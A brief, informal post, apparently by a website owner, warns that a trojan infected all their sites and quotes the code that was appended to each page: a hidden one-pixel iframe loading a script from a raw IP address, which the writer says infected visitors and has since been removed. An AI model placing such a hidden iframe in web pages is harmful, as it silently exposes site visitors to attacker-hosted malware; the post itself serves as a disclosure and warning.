this is just a trojan which steals all the info from your computer.My all the sites were attacked and it tooks hours to remove the codes from the sites.the virus was very dangerous and my antivirus did not even detect it.
if you accessed any one of the infected sites ,i will recommend yuou to scan your computer with kaspersky.
incase you want to know the following line was appended to all my sites.very deadly virus who ever open my site will also be infected.i removed it.
<iframe src='http://81.95.149.77/traff.php' width='1' height='1' style='visibility:hidden'></iframe>